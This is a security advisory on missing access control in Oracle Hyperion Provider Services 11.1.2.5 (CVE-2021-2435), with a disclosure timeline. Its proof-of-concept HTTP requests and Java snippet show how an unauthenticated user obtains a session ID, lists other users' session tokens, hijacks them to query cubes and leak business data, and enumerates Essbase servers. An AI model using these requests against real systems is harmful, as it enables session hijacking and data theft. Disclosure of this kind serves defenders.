Lack of access control in Oracle Hyperion Provider Services APS/JAPI version 11.1.2.5

Security advisory

2023-02-02

Paul Barbé
Guillaume Jacques
Théo Louis-Tisserand

Vulnerabilities description

The Hyperion Provider Services

Oracle Hyperion Provider Services is a middle-tier data-source provider to Oracle Essbase for Java API, Oracle Smart View for Office, and XMLA clients and to Oracle Business Intelligence Enterprise Edition for Smart View. Provider Services supports highly concurrent analytical scenarios and provides scalability and reliability in a distributed Web-enabled enterprise environment.[1]

The issues

Synacktiv discovered a lack of access control in XMLA/JAPI features allowing an unauthenticated user to:

- List connected users along with their session identifier leading to privilege escalation.
- Query technical information about Essbase clusters.

Affected versions

At the time of writing, the version 11.1.2.5 was proven to be affected. Other versions may also be concerned by the security issues.

Timeline

Date	Action
2021-05-11	Advisory sent to Oracle.
2021-05-11	Reply from Oracle.
2021-07-20	CVE-2021-2435 assigned to the session token leak vulnerability and disclosed in the Critical Patch Update Advisory of July 2021[2]. Patch realease.
2023-02-02	Advisory release.

[1] https://docs.oracle.com/cd/E57185_01/APSAG/ch02s01.html

[2] https://www.oracle.com/security-alerts/cpujul2021.html

Technical description and proof-of-concept

1. Session token leak – CVE-2021-2435

A feature allowing listing connected users along with their session identifier is accessible to unauthenticated users.

To call that feature, a session identifier called *sID* is required. A valid one can be easily retrieved with the following unauthenticated request:

```
POST /aps/SmartView HTTP/1.1
Content-Type: application/xml
Host: [...]
Content-Length: 329

<req_ConnectToProvider><ClientXMLVersion>[...]</
ClientXMLVersion><ClientInfo><ExternalVersion>11.1.2.5.710</
ExternalVersion><OfficeVersion>[...]</OfficeVersion><OSVersion>[...]</OSVersion></
ClientInfo><lngs enc="0">en_US</lngs><usr></usr><pwd></pwd></req_ConnectToProvider>


HTTP/1.1 200 OK
Content-Length: 614

[...]
<sID>899CB078B5FAED4EB2AF527A4BAF2FB486FB60A1BA40AD7BF655F640C83B7A2BAF395EA91952604CB8569F
B8AE3230A36716BAEE</sID>
[...]
```

Then, even if this *sID* does not correspond to any authenticated user, it can be used to list all active sessions:

```
POST /aps/APS HTTP/1.1
Host: [...]
Content-type: application/x-www-form-urlencoded
Content-Length: 165

<req_ListSessions><sID>899CB078B5FAED4EB2AF527A4BAF2FB486FB60A1BA40AD7BF655F640C83B7A2BAF39
5EA91952604CB8569FB8AE3230A36716BAEE</sID><user></user></req_ListSessions>


HTTP/1.1 200 OK
Connection: close
Date: Fri, 23 Apr 2021 15:07:07 GMT
Content-Type: text/xml; charset=UTF-8
Set-Cookie: JSESSIONID=0PL_RS9r4ZTxTN1sizQQOZ74yzArIROImCcQnC0ygYsvndgzftLt!614282385;
path=/aps; HttpOnly
Accept-Encoding: gzip
Content-Length: 1982

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<res_ListSessions><session id="6CA***4A0" type="SMARTVIEW" mode="server"
server="[...]" app="[...]" cube="[...]" lastRequest="1619190421717"
request="" user="[...]"/>[...]</res_ListSessions>
```

The obtained token could then be reused, thus granting the attacker the privileges of the impersonated user. For exemple, it is possible to list Essbase server's cubes:

```
POST /aps/SmartView HTTP/1.1
Content-Type: application/xml
Host: [...]
Content-Length: 205

<req_ListCubes><sID>6CA***4A0</sID><srv>[..]</srv><app>[...]</app><type></type><url></
url></req_ListCubes>


HTTP/1.1 200 OK
Content-Length: 119

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<res_ListCubes><cubes enc="1">[...]</cubes></res_ListCubes>
```

The attacker could also execute *MDX* queries on the cube the impersonated user is connected to and leak business data:

```
POST /aps/SmartView HTTP/1.1
Content-Type: application/xml
Host: [...]
Content-Length: 337

<request_MDXQueryExecute><query hideData="0" dataLess="1" mbrIdType="name" needStatus="1"
alsTbl="none">SELECT{Descendants([MARGIN])}ON 1,{Attribute([MARGIN])}ON 0 FROM [[...]].
[[...]]</query><sID>6CA***4A0</sID></request_MDXQueryExecute>

HTTP/1.1 200 OK
Content-Length: 39103

[...]
[SENSITIVE DATA]
[...]
```

This vulnerability is also present in the Oracle Java API. Active sessions can be retrieved with the following Java code:

```
import com.essbase.api.base.EssException;
import com.essbase.api.datasource.IEssCube;
import com.essbase.api.datasource.IEssOlapServer;
import com.essbase.api.session.IEssbase;
import com.essbase.api.domain.IEssDomain;
import com.essbase.api.domain.IEssUser;
import com.essbase.api.datasource.IEssMaxlSession;

public class Japi {

public static void execute() throws EssException {
IEssbase essbase = null;
IEssOlapServer olapServer = null;
essbase = IEssbase.Home.create(IEssbase.JAPI_VERSION);
IEssDomain domain =  essbase.signOn("foo","bar", false, null, "<Url of Hyperion services
Provider>/aps/JAPI");
essbase.getSessions();
}

public static void main(String[] args) throws EssException{
execute();
}

}
```

2. Information leak

> **Note: Considered by Oracle as a designed behavior, not a bug.**

Essbase servers can be listed without providing an authenticated session identifier:

```
POST /aps/SmartView HTTP/1.1
Host: [...]
Content-Length: 150

<req_ListServers><sID>899CB078B5FAED4EB2AF527A4BAF2FB486FB60A1BA40AD7BF655F640C83B7A2BAF395
EA91952604CB8569FB8AE3230A36716BAEE</sID></req_ListServers>

HTTP/1.1 200 OK
Content-Length: 145

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>

<res_ListServers><srvs enc="1">[...]|[...]|[...]|[...]</srvs></res_ListServers>
```